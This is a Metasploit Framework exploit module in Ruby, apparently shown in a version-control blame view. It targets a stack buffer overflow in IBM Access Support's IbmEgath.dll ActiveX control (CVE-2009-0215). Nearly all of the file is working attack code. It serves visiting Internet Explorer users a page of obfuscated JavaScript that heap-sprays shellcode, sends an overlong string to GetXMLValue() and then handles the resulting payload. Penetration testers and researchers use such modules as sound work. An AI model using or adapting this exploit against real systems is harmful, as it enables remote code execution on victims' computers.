2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
|
# $Id$
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
|
##
|
2009-06-01 11:19:06 +00:00
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2009-06-01 11:19:06 +00:00
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'IBM Access Support ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in IBM Access Support. When
|
2010-04-30 08:40:19 +00:00
|
|
|
sending an overly long string to the GetXMLValue() method of IbmEgath.dll
|
|
|
|
|
(3.20.284.0) an attacker may be able to execute arbitrary code.
|
2009-06-01 11:19:06 +00:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' => [ 'MC' ],
|
2009-07-23 02:55:51 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2009-06-01 11:19:06 +00:00
|
|
|
[
|
|
|
|
|
[ 'CVE', '2009-0215' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '52958' ],
|
2009-06-01 11:19:06 +00:00
|
|
|
[ 'BID', '34228' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
|
2009-06-01 11:19:06 +00:00
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Mar 24 2009',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload.
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Encode the shellcode.
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-06-01 11:19:06 +00:00
|
|
|
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
|
|
|
|
|
|
|
|
|
|
fill = rand_text_english(rand(12) + 1)
|
|
|
|
|
|
|
|
|
|
js = %Q|
|
|
|
|
|
try {
|
|
|
|
|
var evil_string = "";
|
|
|
|
|
var index;
|
|
|
|
|
var sumthang;
|
|
|
|
|
var vulnerable = new ActiveXObject('IbmEgath.IbmEgathCtl.1');
|
|
|
|
|
var my_unescape = unescape;
|
|
|
|
|
var shellcode = '#{shellcode}';
|
|
|
|
|
#{js_heap_spray}
|
|
|
|
|
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
|
|
|
|
|
for (index = 0; index < 4024; index++) {
|
|
|
|
|
evil_string = evil_string + my_unescape('#{ret}');
|
|
|
|
|
}
|
|
|
|
|
vulnerable.RunEgatherer('#{fill}');
|
|
|
|
|
var sumthang = vulnerable.GetXMLValue('#{fill}.xml', evil_string);
|
|
|
|
|
} catch( e ) { window.location = 'about:blank' ; }
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
opts = {
|
|
|
|
|
'Strings' => true,
|
|
|
|
|
'Symbols' => {
|
2010-04-30 08:40:19 +00:00
|
|
|
'Variables' => [
|
2009-06-01 11:19:06 +00:00
|
|
|
'vulnerable',
|
|
|
|
|
'shellcode',
|
|
|
|
|
'my_unescape',
|
|
|
|
|
'index',
|
|
|
|
|
'evil_string',
|
|
|
|
|
'sumthang',
|
|
|
|
|
]
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
|
|
|
|
js.update_opts(js_heap_spray.opts)
|
|
|
|
|
js.obfuscate()
|
2010-04-30 08:40:19 +00:00
|
|
|
content = %Q|<html>
|
|
|
|
|
<body>
|
|
|
|
|
<script><!--
|
|
|
|
|
#{js}
|
|
|
|
|
//</script>
|
|
|
|
|
</body>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
2009-06-01 11:19:06 +00:00
|
|
|
|
|
|
|
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-06-01 11:19:06 +00:00
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
